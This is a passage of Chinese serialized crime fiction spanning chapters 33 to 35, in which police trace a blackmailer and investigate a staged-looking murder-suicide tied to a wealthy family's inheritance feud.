警x方用戴丽华未实名电话号码给豹哥发了一条短信。 【我想清楚了,你把钱送来吧,七千不行,我要七万。今天下午我在家,地址是机械厂13栋302房。你不给我就报警。】 大概半小时后,豹哥回了短信。 【钱我让人两点半送去。】 木棉问田海亮:“亮哥,要怎么回?” 田海亮:“不回。” 本来他们是想找借口约豹哥出来的,但怕引起豹哥怀疑,以免他连派人来送钱都不愿意。 中午,木棉和小耿陪同戴丽华回了机械厂家属院,刑侦大队则派人在楼上楼下蹲守。 两点半,小耿和木棉耳麦传来声音:“注意,一小个子中年男人进了13号楼。” 小耿赶紧来到门口,趴在猫眼上,没多久,一男子站在门前。 过了会儿,门铃响,小耿刚要进里屋躲起来,结果看见那人按完门铃就快步离开了。 “他下去了。”小耿小声跟木棉说。 木棉赶紧通知楼下同事准备跟踪。 等戴丽华去打开门,门把手上挂着一个红色塑料袋,塑料袋里有两条红河香烟,拆开香烟,其中一条装着70000元钱。 明天继续双更[比心] 第33章第33章张皓月离世后,张家很快恢复…… 张皓月离世后,张家很快恢复了平静。 9月份,新学年开始了。 初二(2)班变成了初三(2)班,教室从二楼搬到了三楼。 同桌还是那个同桌,张越凝依然坐在原来的位置。 但坐她前面的刘晋伏转学了,从此再也没有出现过。 同学们也从来不在她面前提起他,仿佛这个人是她臆想出来的,从不曾存在。 张越凝常常在不经意间想起他,想起他们一起吃过的零食,一起看过的小说,一起走过的旧街巷,想起那段还没来得及开始,就已经结束的初恋。 她住院的时候,秦姨曾经告诉她,有个初中生模样的男生到护士台打听她住哪个病房,护士没告诉他,他只好走了。 她就想,那会不会是他? 除了刘晋伏,她想不起还会有谁。 坐在办公桌前的张越凝,及时收回了思绪。 她收起了手上的两张话剧门票,她要赶在六点半前把工作处理完,等会儿她和张蕤帆要看七点半的话剧。 六点一刻,沈青推门进来。 “张蕤帆来了,要不你先走,文件我搞好发你邮箱,你晚上回去看。” 张越凝问:“他上来了?” “没有,在楼下停车场,我刚才去买饭,看见他了。” 张越凝看了眼手表,然后开始收拾东西,“那我先撤。你也别太晚。来不及就缓一天,我跟老板说。” “来得及。相信我可以吗?” 张越凝笑道:“我就算不相信我自己,也不会不相信你。” 她指着桌上没吃完的一盘水果,“帮帮忙……” “交给我,葡萄和猕猴桃都是我的爱。你快走吧,等会儿来不及了。” 等张越凝拎着手提袋出去,沈青整理台面文件,她端着果盘出去之后,才给张芷琼发了条短信。 【她晚上跟张蕤帆去看话剧。】 张越凝上了张蕤帆的车,今天他开车,没有司机。 他说:“去剧院要半小时,进场至少要提前十五分钟,吃饭时间可能不够。” “下午我们老板高兴,她请喝下午茶,我吃了蛋挞和水果,现在还不饿。” “那我们就随便吃点三文治之类的。看完话剧再去吃宵夜。”张蕤帆现在是几乎有空闲时间就约她吃饭、消遣,他是不会给其他男人有可乘之机的。 但今天的话剧,是她约的他。 张越凝在手机上搜索今天要看话剧的剧评和最新消息。 张蕤帆提醒:“坐在车上看手机,等会儿要头晕了。” “你一说我真有点想吐。”她抬起头不看手机屏幕,“没有中场休息,看完大概9点左右。” “时间挺早,看完话剧再去吃东西?” “可以。” 路上堵车,到了剧院,他们喝了点饮料就进场了。 一个小时四十分钟的话剧,完毕后,演员谢幕,其实剧挺精彩的,不过国人素来吝啬掌声,所以剧场内掌声稀稀拉拉的。 张蕤帆感叹:“没想到这类话剧还挺好看。” “原著小说我很喜欢,作者是个很有才华的人。” “你要是喜欢,以后有这类话剧,我提前订票。” 她笑道:“一言为定,这次我请,以后你请。” “你放心,我不会给别人请你的机会。” 张越凝笑着没说话。 退场后,他们去停车场取车。 离场的私家车太多,他们坐在车内聊天,张蕤帆放了点轻音乐,想等车流少了,再出去。 说起张皓钧的案子,张蕤帆有自己的想法,“肯定是自己人干的。” “为什么?” “如果是外人复仇,对方可能连你也不会放过,让张家彻底绝后。只有自己人知道你是领养的,所以计划里没有你。” 有点道理,张越凝问他:“你觉得是谁?” “还是姓赖的,赖平是主谋,他儿子赖文斌可能是后期才知道的,有帮忙善后,姑奶奶未必知情。他们家杀皓钧,既报了仇,后面还能争遗产。一箭双雕!” 张越凝没发表意见,她看着外面车流,感叹道:“如果皓钧在世就好了。” 张蕤帆理解她对皓钧的感情:“以前皓月和我不懂事总欺负你,都是他护着你的。” “如果在古代……如果在古代,我也会买凶,把杀皓钧的人,千刀万剐。” 看着张越凝的眼神变得狠厉,张蕤帆内心竟有点醋味,但又不好表现出来。 死人的醋,没必要去吃。 手机震动,张越凝拿出手机,是贺成打来的。 “喂,成叔。” 听见是贺成打来的电话,张蕤帆忙把音响调到最低。 挂了电话,张越凝说:“爷爷让我现在过去一趟。” “那么晚了,爷爷找你什么事?” 她也不知道。 张蕤帆送她去医院停车场,爷爷没叫他,他不好跟着上去。 “我在这里等你。” “好。” 张越凝来到住院部15楼,走廊静悄悄的,她穿着高跟鞋,不由得放轻了脚步。 贺成听见脚步声,打开门迎接她。 “爷爷睡了?” “没有,在等你。”贺成是张鸿禺最信赖的人。 张鸿禺最近病情恶化,今天都没怎么吃东西,这个点还在挂营养针。 “爷爷。” 见她来了,护工帮张鸿禺把病床摇起来。 一个星期的时间,张鸿禺瘦了一圈,人一瘦就显黑,特别是眼圈周围黑的有点触目惊心。 中午张越凝来看过张鸿禺,这会儿着急把她叫来,肯定是有要紧事。 等贺成和护工都出去,张鸿禺才说:“白天人太多了,想问你话,也不好问。” 老爷子说话比之前虚弱了些,但精神还不算太差。 张越凝轻轻拉过椅子坐下,“爷爷你有什么话要问我?” “皓钧的案子重启,也就是说杀皓钧的凶手,到现在还没伏法,我心底难受,睡不着。警察调查了你妈妈还有赖平赖文斌,现在他们都是嫌疑人。”张鸿禺颇有点家门不幸地叹了声,随即看向张越凝,“这件事,你怎么看?” 张越凝尴尬笑了笑,她哪能说真实想法,只道:“应该是外人吧。” “为什么?” “我听说警察还重点调查了汇海老板骆金水,前几天我陪奶奶去拜佛,听奶奶说了骆金水跟咱们家的恩怨。我觉得骆金水可能性会更高。” 张鸿禺摇头,轻声说:“如果是骆金水,他找的杀手肯定是能直接一枪毙命的。再说,他要报仇不应该等到2004年。2004年的时候,骆金水在洗白上岸,他搞复仇这么一出,不是把自己置身泥潭了吗?” “爷爷你分析的也有道理。” “警察在重点调查你妈妈,这事你知道吧?你怎么想的?” “我没什么……” “爷爷想听你最真实的想法。” 张越凝犹豫了。 “你是不是跟警察举报了你妈妈?” 张越凝心惊,眼神多少有些慌乱。 中央空调回气口的风叶发出轻微的嗡鸣,她抿着唇没说话。 张鸿禺看在眼里,说:“你不怕你妈知道后会怪你,以后家产没你的份?” 张越凝微微咬牙,下定决心般,说道:“爷爷,我只是想替皓钧找出真相,不想他枉死。不管凶手是谁,我只是想要真相,替皓钧讨个公道,跟利益没有关系。” 看着张越凝眼里噙着的泪花,张鸿禺颇为欣慰,“你们这一代人,虽然小的时候打打闹闹的,互相不服气,但长大后,跟我们这一代,跟你妈妈那一代都不一样。你们更清澈,不那么在乎利益。x” “对不起,爷爷。” “不,你不用跟我说对不起。你做的没错。你能不能跟我说说,你怀疑你妈妈的证据是什么?” 张越凝再次陷入短暂的沉默。 张鸿禺:“我不会怪你。” “爷爷你听了别生气。” “我不生气。” “前段时间我不小心听见妈妈跟别人打电话,她想阻止皓钧案重启。”张越凝把录音放出来给张鸿禺听,还说了夏木橙骸骨被发现时,张芷琼的反应。 “那天我妈在书房也是在讲电话,她埋怨对方处理不当,导致现在这么被动。我也是从那天开始怀疑妈妈的,要不然我不会听见她想要阻碍皓钧案重启的时候,马上想起来要录音。” 说不生气的张鸿禺,气得攥紧了拳头。 张越凝赶紧握住爷爷的手,宽慰他:“爷爷你别用力攥拳头,你在打针呢。” 张鸿禺这才松开手,他看着挂在前方的乳白色营养液,重重叹息一声。 “我一直知道,她对我有很大的怨气。当初我把全部鸿达股份留给皓钧,没有留给她,她在心里恨死我了。这段时间我生病,我说要改遗嘱,还故意说要过继赖嘉和做孙子,你妈妈她又开始搞各种小动作!她让陈延达找了个算命先生来挑拨栽赃,她以为我老糊涂,哼,老子看得清清楚楚,我就是试探她!” 张越凝愧疚道:“我当时也配合她了。” “我知道你是被迫的。你没有自主权。”张鸿禺对女儿很失望,“皓钧的死究竟是不是跟她有关,就交给警察去查吧。至于我的财产,鸿达的股份,我早就立好遗嘱了。” 张越凝支持:“是应该交给警察。可能里面有误会呢?妈妈只是有私心,但她未必就是凶手。” “你就不关心我的遗嘱内容?” “关心啊,但我怕爷爷你多想。”张越凝轻轻笑了。 她面相温和,笑起来眼睛弯弯的,没有攻击性,是个很妥帖的人。 张鸿禺为自己辩白:“我疑心有这么重吗?” 有的。 张越凝没回答。 张鸿禺继续:“我对你从来没有疑心。你知道为什么吗?” 张越凝揣测道:“因为我是个跟鸿达毫无利益关系的编外女孩,还是领养的。” “不,你不是领养的,你是我们老张家最后的一点点骨血。” 张越凝:“哈?” “你的血型这么稀有,你以为是巧合?不是巧合。你大舅就是你亲爸。当年他跟你亲妈恋爱,是我……是我拆散了他们,逼你大舅娶了区委领导的女儿。这都是我的错,我对不起你们母女。你不要怪我,我现在是将死之人了。” 张越凝震惊地半天说不上话来。 张鸿禺:“你亲妈病逝之前,来见我,她希望我能把你接回家抚养。我权衡再三,还是决定派人把你接回来。芷琼刚好没孩子,我就让她收养了你。” 张越凝似乎不愿意相信,“但是,我给皓钧皓月输了那么多血,不是说亲人之间不能输血的吗?” “以前没那么多讲究,也没其他办法,医生做了灭活淋巴细胞处理,说是没问题才用的。”张鸿禺还是很遗憾,“虽然你是女孩,不过没关系,你以后不要结婚,找精子库代孕生几个。你千万不能带着我们张家财产,嫁给外姓男。” 张越凝听明白了,她是张鸿禺别无他选的选择。 “你把遗产留给我了?” “鸿达的全部股份和大部分财产都留给你了。留给你,张芷琼会有错觉,以为我是留给她的。皓钧的案子最好跟她无关,那她可以帮你守江山。如果跟她有关,那你从现在开始就要担起责任来。” 张越凝:“爷爷,你忘了,我只是个律师。” “我当初没让你进鸿达,完全是为了保护你。读大学的时候,不是叫你辅修商业管理吗?只要有脑子,有足够的商业管理知识,你完全可以撑起大局。而且这几年你有跟进鸿达的法务,对鸿达有基本了解,上手并不难。管理层班底都是自己人,他们会辅佐你,贺成也会留下来帮你。” 张鸿禺知道前路会很困难,但这么大的利益面前,不管是谁,都是没办法拒绝的。 况且拒绝也没用,他已经下定了决心。 “我今天找你来,主要是跟你说这件事。爷爷现在这种情况也不好说,再不说我怕以后没机会了。” 张越凝还沉浸在震惊中,并没有搭话。 张鸿禺:“你今晚跟张蕤帆看话剧去了?” “是啊。” “张蕤帆不是良人。爷爷希望我刚才说的话你有听进去。没必要结婚,懂吗?不管那个男人是谁,都不要轻易结婚。男人,不会甘心屈服在女人之下,如果他愿意,肯定是有所图。男人真正能给你提供的,有价值的东西,精子库里有。” 这或许是这场聊天里,最振聋发聩的一段话。 还是男人了解男人。 “你要记住爷爷的话。可以玩,可以恋爱,但不能引狼入室。钱和权才是你要牢牢抓住的东西,明白吗?” 张越凝心情复杂,她看着张鸿禺,懵懵懂懂地应了一声。 “我知道你一时会很混乱,需要点时间来消化今晚的谈话。没关系的。你很聪明。你是这么多个孩子里成绩最好最聪明也是最善良的,我不担心你不够经验,我只担心你太善良了。不要太容易相信别人,记住我今天说的话。” 又聊了会儿,贺成敲门进来,营养针快打完了,护士来拔针。 张越凝没再久待,跟爷爷告辞后,走到门口,她跟贺成说:“有什么事,你及时给我电话。” “知道,你放心。” “劳烦你了,成叔。” “都是我应该做的。” 来到停车场,上了车,正在跟同事打电话沟通工作的张蕤帆匆匆收线。 “去酒吧街还是选个清静地方?”他们还没吃晚饭。 张越凝没心情吃了,“回家吃吧。” 张蕤帆小心打量着张越凝,看她脸色凝重,不由问:“怎么了?爷爷说你什么了?” 缓了会儿,张越凝摇头:“没说什么。” 这个点路上车不多,张蕤帆忍不住又问,“爷爷是不是跟你说遗嘱的事?” “你怎么知道?” “那么晚避开人叫你过来,也只有这事了。”张蕤帆不蠢。 张越凝叹了一声:“忽然觉得压力好大。” 张蕤帆大概猜到了,爷爷肯定是把大部分遗产给了张芷琼和张越凝母女,他能理解。 “你跟姑姑平分?” 张越凝没完全说实话,“我占全部。” 张蕤帆震惊。 如果真这样,母女俩未来关系肯定会很微妙。 难怪张越凝一脸愁容。 他知道,她从来不在乎钱和权。 她说:“替我保密,奶奶、二舅还有我妈,你都先帮我保密……我只相信你。” “我肯定帮你保密。” 听见张越凝说只相信自己,尚在震惊之中的张蕤帆有些激动, 张越凝重重呼了口气,“我还是喜欢简简单单的生活,喜欢做个专业的律师。” 张蕤帆:“我知道你会很为难。你别担心,我会帮你。” 张越凝笑着点头:“幸好还有你。” “当然,我是你最坚强的后盾。” 第35章第35章回到家已经十点半,保姆给张…… 回到家已经十点半,保姆给张蕤帆煮了碗鸡丝面。 赵润嵩拿着保温杯从楼上下来,他看见儿子在吃宵夜,不由问:“你不是跟越凝看话剧去了吗?没一起吃饭?” 张蕤帆:“她加班没来得及吃晚饭,看完也不想出去吃,就回来了。” “我听说最近你帮邹富贵介绍了一个项目?” “跟鸿达没关系。我一个朋友公司要建仓库,邹富贵有施工队,我给他介绍单,他给我返点。” 赵润嵩警告:“邹富贵是骆金水的亲戚,这种人你少跟他来往,你爷爷不喜欢。” “爸,你跟奶奶那么小心翼翼讨好爷爷也没有用的。你真以为爷爷会给我们留多少遗产?钱还是要靠自己挣,自力更生。” “就算老爷子不给我们留遗产,我们手上的钱也完全够用了。自力更生可以,但要看怎么自力更生。不该结交的人不要结交,君子不立危墙之下,懂吗?”赵润嵩是那个年代的知识分子,他说话喜欢抛书袋。 张蕤帆不以为然:“那你和奶奶还千方百计讨好姑姑?” “那是为了以后能在鸿达更好的生存。这不叫讨好,这叫互相成就。你姑姑需要我们支持,我们也需要你姑姑照拂。”赵润嵩拧开保温杯,把里面泡过的枸杞倒垃圾桶里。 他倒了新的枸杞进去,“你要是能跟越凝结婚,我们两家合二为一,那就最完x美了。” 张蕤帆有信心,但他还是要告诉父亲,难度非常大。 “这得看缘分,感情的事又不能强求。” 赵润嵩微微摇头:“我看悬,一起看话剧,还能回来各吃各的。” 张蕤帆也不反驳,毕竟张越凝跟爷爷聊天的事,他答应了要替她保守秘密的,他笑道:“那怎么办?” “不过你们兄妹能处好关系也行,以后做个能顶事的大舅子,也是一种不错的选择。吃完早点睡,别忘了,明天你奶奶生日,中午在泰吉酒店吃饭,不要迟到。” 赵润嵩拍了拍儿子的肩膀,他泡好枸杞,上楼去了。 此时后宅一楼餐厅,秦姨端上刚刚蒸好的四只大闸蟹,配上一碗鸡肉姜汤粉。 “四只那么大的大闸蟹我吃不完,秦姨你也一起吃。” “四只也不多,冰箱还有呢。是正宗的阳澄湖大闸蟹。”秦姨做事素来很有分寸,她不愿意坐下来,免得张芷琼看见了不高兴。 本来张越凝对她好,张芷琼就吃醋了。 张越凝只吃了两只蟹,剩下的两个她留给秦姨。 吃完汤粉上楼,遇见张芷琼刚洗完澡,穿着睡衣从小客厅出来。 张芷琼问她:“你那个全家福拼图什么时候能拼好?” “下个星期吧。” “你得加快速度了,你爷爷未必能熬得过下周。”说完,张芷琼瞥向张越凝,“你脸怎么那么红?” “我刚才吃螃蟹,秦姨给我熬了姜汤。” 对于最近张越凝和张蕤帆走得比较近的事,张芷琼是睁只眼闭只眼,反正自己人不会出岔子,她暂时懒得管。 她有更关心的事。 “皓钧的案子,你这段时间有没有听到什么消息?” 张越凝摇头:“没有,警察就问了一次话,后来就没动静了。” “这些警察在我身上浪费时间,一群废物。”张芷琼抱怨了一句。 张越凝反问:“妈,你觉得凶手会是谁?” 张芷琼不像在警察面前那么确定咬死赖平,“谁知道呢,是他在学校招惹的人也说不准。” 她想起一事,“对了,你找教育局的林局长有什么事?” “帮同学问平调的事。”张越凝没敢说是帮戚振勋问的。 女儿不说,张芷琼大概猜到了,不然这么小的事她不会特意问。 但在这争遗产的关键时刻,张芷琼不想多事,回房之前,她说了句:“少管别人的闲事。别没事找事。” 张越凝没回话。 洗完澡,张越凝在起居室组装拼图,黑豆非常乖巧的在她旁边卧着。 周围一片寂静,只有黑豆偶尔轻轻扫尾的声音,这是她最安心的时候。 送钱给戴丽华的那位中年男子是机械厂家属院附近一家小卖铺的老板。 警察盯了一整天也没发现任何的蛛丝马迹。 最后,刘泰安决定把这人带回去盘问。 一问才知道,这老板不是豹哥,他完全是局外人。 “一个男的拿来一条红河,他在我店里又买了一条,加起来两条说是要送给亲戚,他亲戚就住机械厂家属院,他加了10块钱让我送货,我就送了。” 店老板只记得那人四五十岁的模样,衣着普普通通,长相也普普通通。 “没什么特点。”店老板想了想,忽然道:“他左边耳垂有个痦子,像个苍蝇。” 田海亮安排画像师来根据店老板的描绘进行画像。 同时,技术部门也在定位追踪豹哥手机号码的位置。 陆从景忙完自己的事,开始跟木棉去调查走访、梳理曾立兴和霍兵的共同关系网。 从外面回来,刚好看到田海亮和小耿手里拿着的豹哥素描画像,陆从景只瞄了眼,就认出来了。 “我见过这个人。” 众人诧异:“你认识?” “这很像邹富贵,骆金水的远房亲戚。”陆从景跟踪张越凝的时候,见过邹富贵跟张越凝一起吃饭。 邹富贵每次都是一身白色或者亮色西装,很吸睛。 “骆金水亲戚?”小耿拍了一下手,“那就是了!果然跟骆金水有关。骆金水还是咽不下这口气,所以在彻底洗白之前找人杀张皓钧报仇!” 刘阳:“邹富贵跟霍兵都是骆金水的人,他们肯定认识。” 田海亮马上在公安系统查询邹富贵的资料,很快他调出相关信息,邹富贵左耳垂真的有个痦子。 当即田海亮给刘泰安打电话,准备申请抓人。 陆从景查看邹富贵的资料,他发现邹富贵小学就读于瓦楞小学,初中在通河中学,这资料看着有点眼熟。 他翻开赵润嵩的档案,发现赵润嵩小学中学的就读经历跟邹富贵一模一样。 木棉看了,不由问:“同一家小学,同一家中学,他们会不会认识?” “去查这两人的资料,越详细越好。” 资料查了一半,木棉接到紧急通知,邹富贵死在了家里。 跟邹富贵一起死的还有另外一个人——赵润嵩。 当即,木棉和陆从景出发前往通河片区邹富贵家。 通河片区正在旧改,一大片五六十年代的低矮房屋外写了白色的“拆”字。 邹富贵家是这片废墟里最光鲜亮丽的小院,灰瓦白墙,复古木门,门口拉了警戒线。 戴好手套鞋套,进了院子,这是个不规整的翻修大杂院,不大的院落种着石榴和桂花。 原计划要来抓捕邹富贵的田海亮已经检查了一遍线索,他见陆从景进来,便往正屋指了指:“里面。” 正屋是客厅,装修得很雅致,正中挂着仕女图,客厅是新中式沙发,屋内摆设和物品没有被大幅翻动的迹象,也没有打斗痕迹。 赵润嵩倒在客厅沙发上,眼睛瞪大没合拢,心脏位置中了一枪,流了很多血。 茶几上放了一杯喝了一半的茶。 而邹富贵则倒在左边书房的圈椅上,太阳穴位置被枪击穿了个黑红的窟窿,他右手下垂,地上躺着一把手枪,看着像是自杀后,枪支跌在了地板上。 圈椅正前方的书桌上摆放着一个相框,相框里是他跟一儿一女的合影,死前他应该是看了合照。 相架旁边放着手机。 陆从景没动桌上东西,书桌下有两个抽屉,拉开抽屉,里面放着钱包、信件、几张DVD碟片和一本小说。 一一拿起来看,钱包和信件都没什么问题。 DVD碟片是《霸王别姬》、《蓝宇》……小说《追风筝的人》。 没想到,邹富贵还是个文艺男中年。 抽屉底部垫了半张剪报。 不知道是什么时候的报纸,上面写着:昨日下午城北大道发生严重交通事故,导致两人丧生,三人受伤。其中一名死者疑似缅甸籍非法入境者…… 陆从景拿起手机,对准剪报拍了张照片。 田海亮进来说:“平时就邹富贵一个人住这里,他老婆孩子住在市中心的家。” 陆从景问:“谁报的警?” “搞卫生的阿姨发现后报的警。” 法医来了,陆从景田海亮先出去,木棉和小董留下来配合工作。 站在院子里,田海亮感叹:“怎么那么巧,我们刚查到他,他就死了。还有赵润嵩,他是张皓钧名义上的叔叔,他怎么会死在邹富贵家?难道是赵润嵩通过邹富贵买凶杀人?” 陆从景微微点头:“不能排除这个可能。” “也不对,骆金水嫌疑还是很大,还有沈青那条线也太过巧合,我想不通。这系列案子前前后后加起来死7个人了。压力山大。” 正说着,刘泰安来了,田海亮跟着进去。 屋里人多,木棉走了出来。 她走前来跟陆从景汇报她了解到的情况。 “师兄,找到安装了豹哥手机号码SIM卡的手机,基本上可以确定,豹哥就是邹富贵。不过邹富贵有随手清理信息的习惯,那个手机里所有的信息都被清除了,暂时没发现有用信息,晚点手机会交给技术部尝试恢复被删除信息。” “法医测了肝温,初步预估两人的死亡时间都是昨晚22点至35点之间。两个死者都是死于枪弹伤,至于是不是死于同一把手枪,要等初步尸检报告才能有结果。” 人是昨晚死的。 陆从景问:“尸检报告什么时候出?” 木棉:“明天出初检。刚才他们用邹富贵的指纹解锁了他平时用的手机,在备忘录里发现了邹富贵的遗书,我拍照了,现在发给你。” 陆从景打开手机,细看木棉发来的备忘录照片。 遗书不长。 【这么多年,我过的实在太累了。为家庭,为老板,为兄弟,为所有人,结果还是吃力不讨好,要业绩没业绩,要朋友,朋友一个个离我越来越远,前几年做生意欠下的债,压得我踹不过气,没有人理解我的难处。我今天确x实情绪太激动,才会失控错手杀了我曾经最要好的兄弟,我有罪,很对不起。】 木棉:“我给你发了另外一张照片,是从赵润嵩衣服兜里搜出来的借条。赵润嵩借给邹富贵三百万,借款时间是两年前。” 陆从景翻看借条照片,是手写借条,浅黄色的纸张,应该是从笔记簿上临时撕下来的一页纸。 内容非常简单,赵润嵩借给邹富贵三百万用以资金周转,没有注明利息,也没有约定多久之后归还。 落款写了邹富贵的名字和身份证号码。 木棉推测:“昨晚很可能是赵润嵩上门找邹富贵要账,两人起了冲突,邹富贵一怒之下杀了赵润嵩,然后他知道自己跑不掉,所以选择了畏罪自杀。” 陆从景收起手机:“三百万不是小数目,一张小小的纸片,没有担保人就直接借了,这两人关系不一般。” 木棉:“我来之前查了,他们是从小在一个院子长大的发小。邹富贵自幼丧父,赵润嵩父亲欠债自杀,两人都没有父亲,惺惺相惜,很玩得来。我看资料上的地址,他们就是在这个院子里长大的,以前是大杂院,应该是邹富贵买下来后重新装修了。” 环顾这不算大的院落,几十年前,这院子可能至少住着三四家人。 取证完毕后,两具遗体运去鉴定中心,陆从景没有着急走,他又在现场转了一圈。 最后走进邹富贵死去的书房,书桌上邹富贵和子女的合影相框被作为物证拿走了。 桌上还有一个相框,放的是一张风景画,辽阔的草原中央,两棵小小的树,紧紧挨在一起,互相为伴。 陆从景拿起那相框细看,发现相框背面的卡扣不太紧实,看上去像是经常开合,不然不会这么松。 一般把相片放进相框固定好之后,是不会经常打开的。 这就有点奇怪了。 陆从景不由拨开背板锁,取下相框支架和背板,果然里面有乾坤。 风景画和背板之间夹了两张同尺寸的照片。 其中一张是两个青年男子,一人在前,一人在后抱着,两人微笑着看向镜头。 陆从景忽然就想起了《蓝宇》。 另外一张照片依然是那俩青年男子,他们光着上身,只穿着裤衩在打闹。 跟进来的木棉看着这两张照片,不由问:“他们究竟什么关系?” 不难看出照片中的男子是赵润嵩和邹富贵年轻的时候。 第35章第35章田海亮带队来到云麓庄园张家…… 田海亮带队来到云麓庄园张家大宅搜集物证以及对张家诸人做笔录。 搜集物证主要是在赵润嵩房间内进行。 木棉也跟着来了,张家前宅后宅两栋别墅装修的很低调,前宅是中式风格,大厅还挂着张家老祖宗的画像,看得出这是很注重传统的家庭。 出了这么大的事,张越凝和张芷琼都从公司赶回来了。 木棉主动过去跟张越凝打招呼:“凝姐。” “木棉。”张越凝倒没有因为她跟曾晖分手了就对木棉态度有变,她把木棉拉到了角落,轻声问:“我二舅是怎么死的?” 木棉为难道:“详细情况目前还不能跟家属说。” 张越凝理解,“遗体在司法鉴定中心吗? “是啊。有一份解剖同意书,等会儿需要你们家属签字。” “这个要找张蕤帆,他在楼上陪奶奶。这事发生的太突然了,家里人都接受不了。” 彭秀因伤心过度在房间内休息,张蕤帆不让警方打扰她,所以除了彭秀外,其他人等都分开做了笔录。 在一楼的棋牌室里,张越凝把自己了解的情况大概说了一遍。 “邹富贵是我二舅的发小,之前我帮骆金水儿子骆安乔打官司,邹富贵作为骆家的对接人,负责跟我们对接。他曾经想通过我,约我二舅一起吃饭,但被我二舅拒绝了。” 田海亮问:“邹富贵没有赵润嵩的联系方式吗?他为什么要通过你来约他?” 张越凝:“他们很多年没联系了,我二舅说之前他在某个公开场合跟邹富贵重遇,但是对方缠着我二舅,想让他帮忙把汇海列入鸿达的供应商体系,因为汇海之前的底子并不干净,二舅没答应邹富贵的要求,也不想跟他多来往。” 木棉快速做笔录,田海亮继续问:“邹富贵一直没跟赵润嵩见上面?” “据我所知是的。不过昨天有人来我们吃饭的地方找我二舅,不知道是不是邹富贵。” “具体是什么情况?” 张越凝:“昨天我奶奶生日,中午我们一家在泰吉酒店吃饭庆祝,还没开席,酒店服务员进来把我二舅叫出去了,说是有人找他。当时我们都没在意,过了好一会儿,二舅还没回来,奶奶就让成叔去找。没多久,成叔回来,说看见二舅和一个男的在酒店外面很激动地争吵,成叔怕我二舅吃亏,他走过去想劝一劝,结果我二舅跟他说没事,让他先回来。” 田海亮问:“成叔是谁?” 张越凝:“贺成,我爷爷的副手。” “他在吗?” “他在医院,要不要让他回来做笔录?” “需要找他做笔录,麻烦你。” 张越凝便跟贺成打了个电话,让他回来。 田海亮又问:“你昨晚22点到35点之间在哪里?” “我昨天晚上8点多到家后就没出去。” “有人可以作证吗?” “家里保姆都可以作证,还有小区监控。” 另外一边的小会客厅,小耿和其他同事在询问张蕤帆。 “你最后见你父亲是什么时候?” 张蕤帆因冲击过大,双眼还是通红的,“昨天晚上九点左右,我约了朋友喝酒,出门的时候,看见我爸也准备出门,我就问他去哪里,他说出去跟个商业伙伴谈点事。” “之后你们有没有再联系?” “没有。” “他晚上没回来,你没给他打电话吗?” “我奶奶有找他。我回到家都半夜1点了,我不知道我爸还没回。” 小耿又问:“你跟邹富贵认识吗?” “认识没多久,他是我爸的发小,我给他介绍了一桩施工队的生意。” 小耿:“你了解他的经济状况吗?” 张蕤帆:“那我不清楚,他出手挺大方的。” “怎么大方?” “我给他介绍生意,他给我返点,工程款只到了一部分,他就把全款提成给我了。挺仗义的。” 小耿昨晚没怎么睡,他忍着没打呵欠,继续问:“你父亲和邹富贵关系怎么样?” 张蕤帆:“一般,我爸不太喜欢邹富贵,他认为邹富贵底子不是那么干净,所以劝我少跟邹富贵打交道。” “你父亲和邹富贵有经济往来吗?” “据我所知没有。” 小耿看了田海亮发来让他问的信息,追问:“昨天你奶奶生日,有没有发生什么事?” “听说有人来找我爸,我爸跟人起争执了,我到的比较晚,没看见……” 与此同时,问完张越凝的田海亮,开始询问张芷琼。 “张总,我们又见面了。” “我倒是不想见,每次见你们都没好事发生。”张芷琼脸上带着点笑意,对于赵润嵩的死,她似乎并没有多少的伤感。 没多寒暄,田海亮直入主题:“昨天彭秀生日在泰吉酒店庆生,你在现场吗?” 张芷琼点燃一支烟,“我在。” “请你详细说一下昨天在酒店的情况。” “就是普通生日吃饭,我父亲重病,我们也没心情给彭秀做寿,就一家人简单吃顿饭。” “期间有没有发生什么事?” 张芷琼轻轻吐出一口白烟,“有人来找赵润嵩,好像在外面起争执了,赵润嵩回来,我们问他怎么回事,他支支吾吾的不愿意说,后面被彭秀岔开话题,这事不了了之,我也没兴趣多问。” “你最后见赵润嵩是什么时候?” “就昨天中午吃饭的时候。” 田海亮:“昨天晚上22点至35点之间,你在哪里?” “我昨晚加班,十点多我还在公司。有很多同事可以给我作证。” 该询问的都询问完后,贺成从医院赶回来了。 田海亮把邹富贵的照片给贺成看,贺成马上认出来,“没错就是他。他跟赵副总一开始在酒店外面的角落吵,我去劝架,赵副总说没事,那是他朋友,他们不是吵架,是有事在聊,接着他们就去了停车场接着聊。我不放心,远远看着,看见他们上了车。后来我看见蕤帆来了,他停好车,刚好看见他父亲和邹富贵在车里聊天,我看蕤帆上前去跟他们打招呼,就没再盯着x。” 张蕤帆说谎了? 田海亮又去找张蕤帆补问了几个问题。 重新在小会客厅落座,田海亮问:“你昨天有看见邹富贵吗?” 张蕤帆:“昨天中午有看见他,在泰吉酒店的停车场,他跟我爸在车上聊天。” “我看了笔录,你刚才说,没看见你父亲跟别人起争执。” “我是没看见啊,我来晚了,没看见我爸跟别人吵架。我只看见我爸跟邹富贵在车里聊事情。” 原来误会了,田海亮问:“也就是说,你父亲和邹富贵很平和地在车上聊天?” “我看到的时候,他们挺平和的。跟他们打完招呼,我就先去酒店了。” “你听见他们当时在聊什么吗?” 张蕤帆摇头:“没听见,估计还是为了帮汇海列入鸿达供应商系统的事吧。” “昨晚22点到35点之间,你在哪里?” “我九点跟朋友在酒吧街喝酒,九点半左右去了西云街后面吃大排档,差不多凌晨一点才散。一起有四五个朋友可以作证。现在死的人是我爸,你们不会怀疑我杀我爸吧?”张蕤帆多少有些生气。 田海亮解释:“循例询问,不针对任何人。” 另外一边,程栋梁带队去了市区的邹家,除了搜寻物证之外,还询问了邹富贵家人。 他老婆没察觉事发前邹富贵有什么异常,对于邹富贵欠债的事也完全不知情。 随后,程栋梁去了骆金水家,骆金水也没听说邹富贵欠债的事。 程栋梁询问:“你最后见邹富贵是什么时候?” “昨晚,他之前借了我们家一个卷烟机,特意过来还我们。在我家吃的晚饭,我们还喝了点酒。”骆金水看起来很平静。 这种人,情绪都不外露。 程栋梁:“你们昨晚都聊什么了?” 骆金水把玩着手里的核桃:“就聊聊我们之前艰苦奋斗的一些往事。不过说起来,他昨天有点怪,特意感谢我这么多年对他的关照。他结婚晚,结婚对象娘家底子不错,孩子还比较小,他求我帮忙安排他家孩子明年读重点高中的事。我说时间还早,明年的事明年再谈。他也没再说什么。” 程栋梁:“邹富贵跟你做事这么多年,有没有受过什么委屈?” 